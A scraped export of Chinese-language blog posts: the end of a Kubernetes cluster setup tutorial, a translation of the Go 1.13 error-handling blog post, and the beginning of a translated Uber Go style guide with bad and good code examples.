在将worker加入到master之前，你必须先部署pod网络(否则，所有事情都无法按照预期那样正常工作）。Flannel是可选的Pod网络之一。我们通过下面命令安装它（仅在master运行下面命令)：\nsudo kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml 将worker node加入到master 现在我们具备将worker node加入master的条件了。登录到worker node上，执行类型下面的命令：\nsudo kubeadm join 192.168.1.190:6443 --token bzbwl4.ll5o9x3jjhqqwofa --discovery-token-ca-cert-hash sha256:ecb0223a05be3502c2d102f3e56104b10fcd105430eb723d3b3e816618323d73 在每个worker node上执行join命令。一旦join命令执行成功，返回master node执行下面命令：\nkubectl get nodes 你可以看到所有加入到集群的worker node列表：\n图: 我们的node已经加入并处于ready状态\n到此，kubernetes集群已经就绪并可以部署你的第一个容器化的应用或服务了。不要忘了，如果你要加入更多worker node（提高伸缩能力），你需要join命令。如果你忘记保存之前那个join命令了，你可以在任何时候通过下面命令获取它：\nkubeadm token create --print-join-command 上面命令将输出join命令，在你的新worker node上执行它即可。\n本文翻译自《How to Deploy a Kubernetes Cluster with Ubuntu Server 18.04》\n文本首次发表在慕课网上。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/10/21/how-to-deploy-a-kubernetes-cluster-with-ubuntu-server-18-04/","summary":"\u003cp\u003e如今，你几乎不可避免地会听到来自\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e的发声，你更没有充分的理由拒绝去听。 一旦一切就绪，这个强大的容器编排工具将以您难以想象的敏捷性来扩展您的操作。\u003c/p\u003e\n\u003cp\u003e为了实际使用Kubernetes进行部署和管理容器，您首先必须\u003ca href=\"https://tonybai.com/2018/06/13/setup-efk-on-kubernetes-1-10-3-in-the-hard-way/\"\u003e创建Kubernetes服务器集群\u003c/a\u003e。 一旦集群建立后，您就能够部署，扩展和管理您的容器化应用程序了。\u003c/p\u003e","title":"如何在Ubuntu 18.04 Server上部署Kubernetes集群"},{"content":"介绍 在过去的十年中， Go的errors are values的理念在编码实践中运行得也很良好。尽管标准库对错误处理的的支持很少（只有errors.New和fmt.Errorf函数可以用来构造仅包含字符串消息的错误），但是内置的error接口使Go程序员可以添加所需的任何信息。它所需要的只是一个实现Error方法的类型：\ntype QueryError struct { Query string Err error } func (e *QueryError) Error() string { return e.Query + \u0026quot;: \u0026quot; + e.Err.Error() } 像这样的错误类型无处不在，它们存储的信息变化很大，从时间戳到文件名再到服务器地址。通常，该信息包括另一个较低级别的错误以提供其他上下文信息。\n在Go代码中，使用一个包含了另一个错误的错误类型的模式十分普遍，以至于经过广泛讨论后，Go 1.13为其添加了明确的支持。这篇文章描述了标准库提供的支持：errors包中的三个新功能，以及fmt.Errorf中添加的新格式化动词。\n在详细描述这些变化之前，让我们先回顾一下在Go语言的早期版本中如何检查和构造错误。\nGo 1.13版本之前的错误处理 检查错误 错误是值(errors are values)。程序通过几种方式基于这些值来做出决策。最常见的是通过与nil的比较来确定操作是否失败。\nif err != nil { // 出错了! } 有时我们将错误与**已知的前哨值(sentinel value)**进行比较来查看是否发生了特定错误。比如：\nvar ErrNotFound = errors.New(\u0026quot;not found\u0026quot;) if err == ErrNotFound { // something wasn't found } 错误值可以是满足语言定义的error 接口的任何类型。程序可以使用类型断言(type assertion)或类型开关(type switch)来判断错误值是否可被视为特定的错误类型。\ntype NotFoundError struct { Name string } func (e *NotFoundError) Error() string { return e.Name + \u0026quot;: not found\u0026quot; } if e, ok := err.(*NotFoundError); ok { // e.Name wasn't found } 添加信息 函数通常在将错误向上传递给调用堆栈时添加额外错误信息，例如对错误发生时所发生情况的简短描述。一种简单的方法是构造一个新错误，并在其中包括上一个错误：\nif err != nil { return fmt.Errorf(\u0026quot;decompress %v: %v\u0026quot;, name, err) } 使用fmt.Errorf创建的新错误将丢弃原始错误中的所有内容（文本除外）。就像我们在前面所看到的QueryError那样，有时我们可能想要定义一个包含基础错误的新错误类型，并将其保存下来以供代码检查。我们再次来看一下QueryError：\ntype QueryError struct { Query string Err error } 程序可以查看一个*QueryError值的内部以根据潜在的错误进行决策。有时您会看到称为“展开”错误的信息。\nif e, ok := err.(*QueryError); ok \u0026amp;\u0026amp; e.Err == ErrPermission { // query failed because of a permission problem } 标准库中的os.PathError类型就是另外一个在错误中包含另一个错误的示例。\nGo 1.13版本的错误处理 Unwrap方法 Go 1.13在errors和fmt标准库包中引入了新功能以简化处理包含其他错误的错误。其中最重要的不是改变，而是一个约定：包含另一个错误的错误可以实现Unwrap方法来返回所包含的底层错误。如果e1.Unwrap()返回了e2，那么我们说e1包装了e2，您可以Unwrap e1来得到e2。\n遵循此约定，我们可以为上面的QueryError类型提供一个Unwrap方法来返回其包含的错误：\nfunc (e *QueryError) Unwrap() error { return e.Err } Unwrap错误的结果本身(底层错误)可能也具有Unwrap方法。我们将这种通过重复unwrap而得到的错误序列为错误链。\n使用Is和As检查错误 Go 1.13的errors包中包括了两个用于检查错误的新函数：Is和As。\nerrors.Is函数将错误与值进行比较。\n// Similar to: // if err == ErrNotFound { … } if errors.Is(err, ErrNotFound) { // something wasn't found } As函数用于测试错误是否为特定类型。\n// Similar to: // if e, ok := err.(*QueryError); ok { … } var e *QueryError if errors.As(err, \u0026amp;e) { // err is a *QueryError, and e is set to the error's value } 在最简单的情况下，errors.Is函数的行为类似于上面对哨兵错误(sentinel error))的比较，而errors.As函数的行为类似于类型断言(type assertion)。但是，在处理包装错误(包含其他错误的错误）时，这些函数会考虑错误链中的所有错误。让我们再次看一下通过展开QueryError以检查潜在错误：\nif e, ok := err.(*QueryError); ok \u0026amp;\u0026amp; e.Err == ErrPermission { // query failed because of a permission problem } 使用errors.Is函数，我们可以这样写：\nif errors.Is(err, ErrPermission) { // err, or some error that it wraps, is a permission problem } errors包还包括一个新Unwrap函数，该函数返回调用错误Unwrap方法的结果，或者当错误没有Unwrap方法时返回nil。通常我们最好使用errors.Is或errors.As，因为这些函数将在单个调用中检查整个错误链。\n用%w包装错误 如前面所述，我们通常使用fmt.Errorf函数向错误添加其他信息。\nif err != nil { return fmt.Errorf(\u0026quot;decompress %v: %v\u0026quot;, name, err) } 在Go 1.13中，fmt.Errorf函数支持新的%w动词。当存在该动词时，所返回的错误fmt.Errorf将具有Unwrap方法，该方法返回参数%w对应的错误。%w对应的参数必须是错误(类型)。在所有其他方面，%w与%v等同。\nif err != nil { // Return an error which unwraps to err. return fmt.Errorf(\u0026quot;decompress %v: %w\u0026quot;, name, err) } 使用%w创建的包装错误可用于errors.Is和errors.As：\nerr := fmt.Errorf(\u0026quot;access denied: %w”, ErrPermission) ... if errors.Is(err, ErrPermission) ... 是否包装 在使用fmt.Errorf或通过实现自定义类型将其他上下文添加到错误时，您需要确定新错误是否应该包装原始错误。这个问题没有统一答案。它取决于创建新错误的上下文。包装错误将会被公开给调用者。如果要避免暴露实现细节，那么请不要包装错误。\n举一个例子，假设一个Parse函数从io.Reader读取复杂的数据结构。如果发生错误，我们希望报告发生错误的行号和列号。如果从io.Reader读取时发生错误，我们将包装该错误以供检查底层问题。由于调用者为函数提供了io.Reader，因此有理由公开它产生的错误。\n相反，一个对数据库进行多次调用的函数可能不应该将其中调用之一的结果解开的错误返回。如果该函数使用的数据库是实现细节，那么暴露这些错误就是对抽象的违反。例如，如果你的程序包pkg中的函数LookupUser使用了Go的database/sql程序包，则可能会遇到sql.ErrNoRows错误。如果使用fmt.Errorf(“accessing DB: %v”, err)来返回该错误，则调用者无法检视到内部的sql.ErrNoRows。但是，如果函数使用fmt.Errorf(“accessing DB: %w”, err)返回错误，则调用者可以编写下面代码：\nerr := pkg.LookupUser(...) if errors.Is(err, sql.ErrNoRows) … 此时，如果您不希望对客户端源码产生影响，该函数也必须始终返回sql.ErrNoRows，即使您切换到其他数据库程序包。换句话说，包装错误会使该错误成为您API的一部分。如果您不想将来将错误作为API的一部分来支持，则不应包装该错误。\n重要的是要记住，无论是否包装错误，错误文本都将相同。那些试图理解错误的人将得到相同的信息，无论采用哪种方式; 是否要包装错误的选择是关于是否要给程序提供更多信息，以便他们可以做出更明智的决策，还是保留该信息以保留抽象层。\n使用Is和As方法自定义错误测试 errors.Is函数检查错误链中的每个错误是否与目标值匹配。默认情况下，如果两者相等，则错误与目标匹配。另外，链中的错误可能会通过实现Is方法来声明它与目标匹配。\n例如，下面的错误类型定义是受Upspin error包的启发，它将错误与模板进行了比较，并且仅考虑模板中非零的字段：\ntype Error struct { Path string User string } func (e *Error) Is(target error) bool { t, ok := target.(*Error) if !ok { return false } return (e.Path == t.Path || t.Path == \u0026quot;\u0026quot;) \u0026amp;\u0026amp; (e.User == t.User || t.User == \u0026quot;\u0026quot;) } if errors.Is(err, \u0026amp;Error{User: \u0026quot;someuser\u0026quot;}) { // err's User field is \u0026quot;someuser\u0026quot;. } 同样，errors.As函数将使用链中某个错误的As方法，如果该错误实现了As方法。\n错误和包API 返回错误的程序包（大多数都会返回错误）应描述程序员可能依赖的那些错误的属性。一个经过精心设计的程序包也将避免返回带有不应依赖的属性的错误。\n最简单的规约是用于说明操作成功或失败的属性，分别返回nil或non-nil错误值。在许多情况下，不需要进一步的信息了。\n如果我们希望函数返回可识别的错误条件，例如“item not found”，则可能会返回包装哨兵的错误。\nvar ErrNotFound = errors.New(\u0026quot;not found\u0026quot;) // FetchItem returns the named item. // // If no item with the name exists, FetchItem returns an error // wrapping ErrNotFound. func FetchItem(name string) (*Item, error) { if itemNotFound(name) { return nil, fmt.Errorf(\u0026quot;%q: %w\u0026quot;, name, ErrNotFound) } // ... } 还有其他现有的提供错误的模式，可以由调用方进行语义检查，例如直接返回哨兵值，特定类型或可以使用谓词函数检查的值。\n在所有情况下，都应注意不要向用户公开内部细节。正如我们在上面的“是否要包装”中提到的那样，当您从另一个包中返回错误时，应该将错误转换为不暴露基本错误的形式，除非您愿意将来再返回该特定错误。\nf, err := os.Open(filename) if err != nil { // The *os.PathError returned by os.Open is an internal detail. // To avoid exposing it to the caller, repackage it as a new // error with the same text. We use the %v formatting verb, since // %w would permit the caller to unwrap the original *os.PathError. return fmt.Errorf(\u0026quot;%v\u0026quot;, err) } 如果将函数定义为返回包装某些标记或类型的错误，请不要直接返回基础错误。\nvar ErrPermission = errors.New(\u0026quot;permission denied\u0026quot;) // DoSomething returns an error wrapping ErrPermission if the user // does not have permission to do something. func DoSomething() { if !userHasPermission() { // If we return ErrPermission directly, callers might come // to depend on the exact error value, writing code like this: // // if err := pkg.DoSomething(); err == pkg.ErrPermission { … } // // This will cause problems if we want to add additional // context to the error in the future. To avoid this, we // return an error wrapping the sentinel so that users must // always unwrap it: // // if err := pkg.DoSomething(); errors.Is(err, pkg.ErrPermission) { ... } return fmt.Errorf(\u0026quot;%w\u0026quot;, ErrPermission) } // ... } 结论 尽管我们讨论的更改仅包含三个函数和一个格式化动词(%w)，但我们希望它们能大幅改善Go程序中错误处理的方式。我们希望通过包装来提供其他上下文的方式得到Gopher们地普遍使用，从而帮助程序做出更好的决策，并帮助程序员更快地发现错误。\n正如Russ Cox在GopherCon 2019主题演讲中所说的那样，在Go2的道路上，我们进行了实验，简化和发布。现在，我们已经发布了这些更改，我们期待接下来的实验。\n本文翻译自Go官方博客：《Working with Errors in Go 1.13》\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/10/18/errors-handling-in-go-1-13/","summary":"\u003ch2 id=\"介绍\"\u003e介绍\u003c/h2\u003e\n\u003cp\u003e在过去的\u003ca href=\"https://tonybai.com/2017/10/24/go-evolution-for-ten-years-an-interview-by-osc/\"\u003e十年\u003c/a\u003e中， Go的\u003ca href=\"https://blog.golang.org/errors-are-values\"\u003eerrors are values\u003c/a\u003e的理念在\u003ca href=\"https://tonybai.com/2017/04/20/go-coding-in-go-way/\"\u003e编码实践\u003c/a\u003e中运行得也很良好。尽管标准库对\u003ca href=\"https://tonybai.com/2015/10/30/error-handling-in-go/\"\u003e错误处理\u003c/a\u003e的的支持很少（只有errors.New和fmt.Errorf函数可以用来构造仅包含字符串消息的错误），但是内置的error接口使Go程序员可以添加所需的任何信息。它所需要的只是一个实现Error方法的类型：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003etype QueryError struct {\n    Query string\n    Err   error\n}\n\nfunc (e *QueryError) Error() string { return e.Query + \u0026quot;: \u0026quot; + e.Err.Error() }\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e像这样的错误类型无处不在，它们存储的信息变化很大，从时间戳到文件名再到服务器地址。通常，该信息包括另一个较低级别的错误以提供其他上下文信息。\u003c/p\u003e","title":"Go 1.13中的错误处理"},{"content":"Uber是世界领先的生活出行服务提供商，也是Go语言的早期adopter，根据Uber工程博客的内容，大致可以判断出Go语言在Uber内部扮演了十分重要的角色。Uber内部的Go语言工程实践也是硕果累累，有大量Go实现的内部工具被Uber开源到github上，诸如被Gopher圈熟知的zap、jaeger等。2018年年末Uber将内部的Go风格规范开源到github，经过一年的积累和更新，该规范已经初具规模，并受到广大Gopher的关注。本文是该规范的中文版本，并”夹带“了部分笔者的点评，希望对国内Gopher有所帮助。\n注：该版本基于commit 3baa2bd翻译，后续不会持续更新。\n一. 介绍 样式(style)是支配我们代码的惯例。术语“样式”有点用词不当，因为这些约定涵盖的范围不限于由gofmt替我们处理的源文件格式。\n本指南的目的是通过详细描述在Uber编写Go代码的注意事项来管理这种复杂性。这些规则的存在是为了使代码库易于管理，同时仍然允许工程师更有效地使用Go语言功能。\n该指南最初由Prashant Varanasi和Simon Newton编写，目的是使一些同事能快速使用Go。多年来，该指南已根据其他人的反馈进行了修改。\n本文档记录了我们在Uber遵循的Go代码中的惯用约定。其中许多是Go的通用准则，而其他扩展准则依赖于下面外部的指南：\nEffective Go The Go common mistakes guide 所有代码都应该通过golint和go vet的检查并无错误。我们建议您将编辑器设置为：\n保存时运行goimports 运行golint和go vet检查源码 您可以在以下Go编辑器工具支持页面中找到更为详细的信息：https://github.com/golang/go/wiki/IDEsAndTextEditorPlugins\n二. 指导原则 指向interface的指针 您几乎不需要指向接口类型的指针。您应该将接口作为值进行传递，在这样的传递过程中，实质上传递的底层数据仍然可以是指针。\n接口实质上在底层用两个字段表示：\n一个指向某些特定类型信息的指针。您可以将其视为“类型”。 数据指针。如果存储的数据是指针，则直接存储。如果存储的数据是一个值，则存储指向该值的指针。 如果要接口方法修改底层数据，则必须用指向目标对象的指针赋值给接口类型变量(译注：感觉原指南中这里表达过于简略，不是很清晰，因此在翻译时增加了自己的一些诠释)。\n接收器(receiver)与接口 使用值接收器的方法既可以通过值调用，也可以通过指针调用。\n例如:\ntype S struct { data string } func (s S) Read() string { return s.data } func (s *S) Write(str string) { s.data = str } sVals := map[int]S{1: {\u0026quot;A\u0026quot;}} // 你只能通过值调用Read sVals[1].Read() // 下面无法通过编译： // sVals[1].Write(\u0026quot;test\u0026quot;) sPtrs := map[int]*S{1: {\u0026quot;A\u0026quot;}} // 通过指针既可以调用Read，也可以调用Write方法 sPtrs[1].Read() sPtrs[1].Write(\u0026quot;test\u0026quot;) 同样，即使该方法具有值接收器，也可以通过指针来满足接口。\ntype F interface { f() } type S1 struct{} func (s S1) f() {} type S2 struct{} func (s *S2) f() {} s1Val := S1{} s1Ptr := \u0026amp;S1{} s2Val := S2{} s2Ptr := \u0026amp;S2{} var i F i = s1Val i = s1Ptr i = s2Ptr // 下面代码无法通过编译。因为s2Val是一个值，而S2的f方法中没有使用值接收器 // i = s2Val 《Effective Go》中有一段关于“pointers vs values”的精彩讲解。\n译注：关于Go类型的method集合的问题，在我之前的文章《关于Go，你可能不注意的7件事》中有详尽说明。\n零值Mutex是有效的 sync.Mutex和sync.RWMutex是有效的。因此你几乎不需要一个指向mutex的指针。\nBad:\nmu := new(sync.Mutex) mu.Lock() vs.\nGood:\nvar mu sync.Mutex mu.Lock() 如果你使用结构体指针，mutex可以非指针形式作为结构体的组成字段，或者更好的方式是直接嵌入到结构体中。\n如果是私有结构体类型或是要实现Mutex接口的类型，我们可以使用嵌入mutex的方法：\ntype smap struct { sync.Mutex data map[string]string } func newSMap() *smap { return \u0026amp;smap{ data: make(map[string]string), } } func (m *smap) Get(k string) string { m.Lock() defer m.Unlock() return m.data[k] } 对于导出类型，请使用私有锁：\ntype SMap struct { mu sync.Mutex data map[string]string } func NewSMap() *SMap { return \u0026amp;SMap{ data: make(map[string]string), } } func (m *SMap) Get(k string) string { m.mu.Lock() defer m.mu.Unlock() return m.data[k] } 在边界处拷贝Slices和Maps slices和maps包含了指向底层数据的指针，因此在需要复制它们时要特别注意。\n接收Slices和Maps 请记住，当map或slice作为函数参数传入时，如果您存储了对它们的引用，则用户可以对其进行修改。\nBad\nfunc (d *Driver) SetTrips(trips []Trip) { d.trips = trips } trips := ... d1.SetTrips(trips) // 你是要修改d1.trips吗？ trips[0] = ... vs.\nGood\nfunc (d *Driver) SetTrips(trips []Trip) { d.trips = make([]Trip, len(trips)) copy(d.trips, trips) } trips := ... d1.SetTrips(trips) // 这里我们修改trips[0]，但不会影响到d1.trips trips[0] = ... 返回slices或maps 同样，请注意用户对暴露内部状态的map或slice的修改。\nBad\ntype Stats struct { sync.Mutex counters map[string]int } // Snapshot返回当前状态 func (s *Stats) Snapshot() map[string]int { s.Lock() defer s.Unlock() return s.counters } // snapshot不再受到锁的保护 snapshot := stats.Snapshot() vs.\nGood\ntype Stats struct { sync.Mutex counters map[string]int } func (s *Stats) Snapshot() map[string]int { s.Lock() defer s.Unlock() result := make(map[string]int, len(s.counters)) for k, v := range s.counters { result[k] = v } return result } // snapshot现在是一个拷贝 snapshot := stats.Snapshot() 使用defer做清理 使用defer清理资源，诸如文件和锁。\nBad\np.Lock() if p.count \u0026lt; 10 { p.Unlock() return p.count } p.count++ newCount := p.count p.Unlock() return newCount // 当有多个return分支时，很容易遗忘unlock vs.\nGood\np.Lock() defer p.Unlock() if p.count \u0026lt; 10 { return p.count } p.count++ return p.count // 更可读 Defer的开销非常小，只有在您可以证明函数执行时间处于纳秒级的程度时，才应避免这样做。使用defer提升可读性是值得的，因为使用它们的成本微不足道。尤其适用于那些不仅仅是简单内存访问的较大的方法，在这些方法中其他计算的资源消耗远超过defer。\nChannel的size要么是1，要么是无缓冲的 channel通常size应为1或是无缓冲的。默认情况下，channel是无缓冲的，其size为零。任何其他尺寸都必须经过严格的审查。考虑如何确定大小，是什么阻止了channel在负载下被填满并阻止写入，以及发生这种情况时发生了什么。\nBad\n// 应该足以满足任何人 c := make(chan int, 64) vs.\nGood\n// 大小：1 c := make(chan int, 1) // 或 // 无缓冲channel，大小为0 c := make(chan int) 枚举从1开始 在Go中引入枚举的标准方法是声明一个自定义类型和一个使用了iota的const组。由于变量的默认值为0，因此通常应以非零值开头枚举。\nBad\ntype Operation int const ( Add Operation = iota Subtract Multiply ) // Add=0, Subtract=1, Multiply=2 vs.\nGood\ntype Operation int const ( Add Operation = iota + 1 Subtract Multiply ) // Add=1, Subtract=2, Multiply=3 在某些情况下，使用零值是有意义的(枚举从零开始)，例如，当零值是理想的默认行为时。\ntype LogOutput int const ( LogToStdout LogOutput = iota LogToFile LogToRemote ) // LogToStdout=0, LogToFile=1, LogToRemote=2 错误类型 Go中有多种声明错误（Error)的选项：\nerrors.New 对于简单静态字符串的错误 fmt.Errorf 用于格式化的错误字符串 实现Error()方法的自定义类型 使用 “pkg/errors”.Wrap的wrapped error 返回错误时，请考虑以下因素以确定最佳选择：\n这是一个不需要额外信息的简单错误吗？如果是这样，errors.New 就足够了。 客户需要检测并处理此错误吗？如果是这样，则应使用自定义类型并实现该Error()方法。 您是否正在传播下游函数返回的错误？如果是这样，请查看本文后面有关错误包装(Error Wrap)部分的内容 否则，fmt.Errorf就可以。 如果客户端需要检测错误，并且您已使用创建了一个简单的错误errors.New，请使用一个错误变量(sentinel error )。\nBad\n// package foo func Open() error { return errors.New(\u0026quot;could not open\u0026quot;) } // package bar func use() { if err := foo.Open(); err != nil { if err.Error() == \u0026quot;could not open\u0026quot; { // handle } else { panic(\u0026quot;unknown error\u0026quot;) } } } vs.\nGood\n// package foo var ErrCouldNotOpen = errors.New(\u0026quot;could not open\u0026quot;) func Open() error { return ErrCouldNotOpen } // package bar if err := foo.Open(); err != nil { if err == foo.ErrCouldNotOpen { // handle } else { panic(\u0026quot;unknown error\u0026quot;) } } 如果您有可能需要客户端检测的错误，并且想向其中添加更多信息（例如，它不是静态字符串），则应使用自定义类型。\nBad\nfunc open(file string) error { return fmt.Errorf(\u0026quot;file %q not found\u0026quot;, file) } func use() { if err := open(); err != nil { if strings.Contains(err.Error(), \u0026quot;not found\u0026quot;) { // handle } else { panic(\u0026quot;unknown error\u0026quot;) } } } vs.\nGood\ntype errNotFound struct { file string } func (e errNotFound) Error() string { return fmt.Sprintf(\u0026quot;file %q not found\u0026quot;, e.file) } func open(file string) error { return errNotFound{file: file} } func use() { if err := open(); err != nil { if _, ok := err.(errNotFound); ok { // handle } else { panic(\u0026quot;unknown error\u0026quot;) } } } 直接导出自定义错误类型时要小心，因为它们已成为程序包公共API的一部分。最好公开匹配器功能以检查错误。\n// package foo type errNotFound struct { file string } func (e errNotFound) Error() string { return fmt.Sprintf(\u0026quot;file %q not found\u0026quot;, e.file) } func IsNotFoundError(err error) bool { _, ok := err.(errNotFound) return ok } func Open(file string) error { return errNotFound{file: file} } // package bar if err := foo.Open(\u0026quot;foo\u0026quot;); err != nil { if foo.IsNotFoundError(err) { // handle } else { panic(\u0026quot;unknown error\u0026quot;) } } 错误包装(Error Wrapping) 一个(函数/方法)调用失败时，有三种主要的错误传播方式：\n如果没有要添加的其他上下文，并且您想要维护原始错误类型，则返回原始错误。 添加上下文，使用”pkg/errors”.Wrap以便错误消息提供更多上下文，”pkg/errors”.Cause可用于提取原始错误。 使用fmt.Errorf，如果调用者不需要检测或处理的特定错误情况。 建议在可能的地方添加上下文，以使您获得诸如“调用服务foo：连接被拒绝”之类的更有用的错误，而不是诸如“连接被拒绝”之类的模糊错误。\n在将上下文添加到返回的错误时，请避免使用“ failed to”之类的短语来保持上下文简洁，这些短语会陈述明显的内容，并随着错误在堆栈中的渗透而逐渐堆积：\nBad\ns, err := store.New() if err != nil { return fmt.Errorf( \u0026quot;failed to create new store: %s\u0026quot;, err) } failed to x: failed to y: failed to create new store: the error vs.\nGood\ns, err := store.New() if err != nil { return fmt.Errorf( \u0026quot;new store: %s\u0026quot;, err) } x: y: new store: the error 但是，一旦将错误发送到另一个系统，就应该明确消息是错误消息（例如使用err标记，或在日志中以”Failed”为前缀）。\n另请参见Don’t just check errors, handle them gracefully.\n处理类型断言失败 类型断言的单个返回值形式针对不正确的类型将产生panic。因此，请始终使用“comma ok”的惯用法。\nBad\nt := i.(string) vs.\nGood\nt, ok := i.(string) if !ok { // 优雅地处理错误 } 不要panic 在生产环境中运行的代码必须避免出现panic。panic是级联失败的主要根源 。如果发生错误，该函数必须返回错误，并允许调用方决定如何处理它。\nBad\nfunc foo(bar string) { if len(bar) == 0 { panic(\u0026quot;bar must not be empty\u0026quot;) } // ... } func main() { if len(os.Args) != 2 { fmt.Println(\u0026quot;USAGE: foo \u0026lt;bar\u0026gt;\u0026quot;) os.Exit(1) } foo(os.Args[1]) } vs.\nGood\nfunc foo(bar string) error { if len(bar) == 0 return errors.New(\u0026quot;bar must not be empty\u0026quot;) } // ... return nil } func main() { if len(os.Args) != 2 { fmt.Println(\u0026quot;USAGE: foo \u0026lt;bar\u0026gt;\u0026quot;) os.Exit(1) } if err := foo(os.Args[1]); err != nil { panic(err) } } panic/recover不是错误处理策略。仅当发生不可恢复的事情（例如:nil引用）时，程序才必须panic。程序初始化是一个例外：程序启动时应使程序中止的不良情况可能会引起panic。\nvar _statusTemplate = template.Must(template.New(\u0026quot;name\u0026quot;).Parse(\u0026quot;_statusHTML\u0026quot;)) 即便是在test中，也优先使用t.Fatal或t.FailNow来标记test是失败的，而不是panic。\nBad\n// func TestFoo(t *testing.T) f, err := ioutil.TempFile(\u0026quot;\u0026quot;, \u0026quot;test\u0026quot;) if err != nil { panic(\u0026quot;failed to set up test\u0026quot;) } vs.\nGood\n// func TestFoo(t *testing.T) f, err := ioutil.TempFile(\u0026quot;\u0026quot;, \u0026quot;test\u0026quot;) if err != nil { t.Fatal(\u0026quot;failed to set up test\u0026quot;) } 使用go.uber.org/atomic 使用sync/atomic包的原子操作对原始类型（int32，int64等）进行操作(译注：指atomic包的方法名中均使用原始类型名，如SwapInt32等)，因此很容易忘记使用原子操作来读取或修改变量。\ngo.uber.org/atomic通过隐藏基础类型为这些操作增加了类型安全性。此外，它包括一个方便的atomic.Bool类型。\nBad\ntype foo struct { running int32 // atomic } func (f* foo) start() { if atomic.SwapInt32(\u0026amp;f.running, 1) == 1 { // already running… return } // start the Foo } func (f *foo) isRunning() bool { return f.running == 1 // race! } vs.\nGood\ntype foo struct { running atomic.Bool } func (f *foo) start() { if f.running.Swap(true) { // already running… return } // start the Foo } func (f *foo) isRunning() bool { return f.running.Load() } 三. 性能 性能方面的特定准则，适用于热路径。\n优先使用strconv而不是fmt 将原语转换为字符串或从字符串转换时，strconv速度比fmt快。\nBad\nfor i := 0; i \u0026lt; b.N; i++ { s := fmt.Sprint(rand.Int()) } BenchmarkFmtSprint-4 143 ns/op 2 allocs/op vs.\nGood\nfor i := 0; i \u0026lt; b.N; i++ { s := strconv.Itoa(rand.Int()) } BenchmarkStrconv-4 64.2 ns/op 1 allocs/op 避免字符串到字节的转换 不要反复从固定字符串创建字节slice。相反，请执行一次转换并捕获结果。\nBad\nfor i := 0; i \u0026lt; b.N; i++ { w.Write([]byte(\u0026quot;Hello world\u0026quot;)) } BenchmarkBad-4 50000000 22.2 ns/op vs.\nGood\ndata := []byte(\u0026quot;Hello world\u0026quot;) for i := 0; i \u0026lt; b.N; i++ { w.Write(data) } BenchmarkGood-4 500000000 3.25 ns/op 四. 样式 相似的声明放在一组 Go语言支持将相似的声明放在一个组内：\nBad\nimport \u0026quot;a\u0026quot; import \u0026quot;b\u0026quot; vs.\nGood\nimport ( \u0026quot;a\u0026quot; \u0026quot;b\u0026quot; ) 这同样适用于常量、变量和类型声明：\nBad\nconst a = 1 const b = 2 var a = 1 var b = 2 type Area float64 type Volume float64 vs.\nGood\nconst ( a = 1 b = 2 ) var ( a = 1 b = 2 ) type ( Area float64 Volume float64 ) 仅将相关的声明放在一组。不要将不相关的声明放在一组。\nBad\ntype Operation int const ( Add Operation = iota + 1 Subtract Multiply ENV_VAR = \u0026quot;MY_ENV\u0026quot; ) vs.\nGood\ntype Operation int const ( Add Operation = iota + 1 Subtract Multiply ) const ENV_VAR = \u0026quot;MY_ENV\u0026quot; 分组使用的位置没有限制，例如：你可以在函数内部使用它们：\nBad\nfunc f() string { var red = color.New(0xff0000) var green = color.New(0x00ff00) var blue = color.New(0x0000ff) ... } vs.\nGood\nfunc f() string { var ( red = color.New(0xff0000) green = color.New(0x00ff00) blue = color.New(0x0000ff) ) ... } import组内的包导入顺序 应该有两类导入组：\n标准库 其他一切 默认情况下，这是goimports应用的分组。\nBad\nimport ( \u0026quot;fmt\u0026quot; \u0026quot;os\u0026quot; \u0026quot;go.uber.org/atomic\u0026quot; \u0026quot;golang.org/x/sync/errgroup\u0026quot; ) vs.\nGood\nimport ( \u0026quot;fmt\u0026quot; \u0026quot;os\u0026quot; \u0026quot;go.uber.org/atomic\u0026quot; \u0026quot;golang.org/x/sync/errgroup\u0026quot; ) 包名 当命名包时，请按下面规则选择一个名称：\n全部小写。没有大写或下划线。 大多数使用命名导入的情况下，不需要重命名。 简短而简洁。请记住，在每个使用的地方都完整标识了该名称。 不用复数。例如net/url，而不是net/urls。 不是“common”，“util”，“shared”或“lib”。这些是不好的，信息量不足的名称。 另请参阅Go包名称和Go包样式指南。\n函数名 我们遵循Go社区关于使用MixedCaps作为函数名的约定。有一个例外，为了对相关的测试用例进行分组，函数名可能包含下划线，如: TestMyFunction_WhatIsBeingTested。\n包导入别名 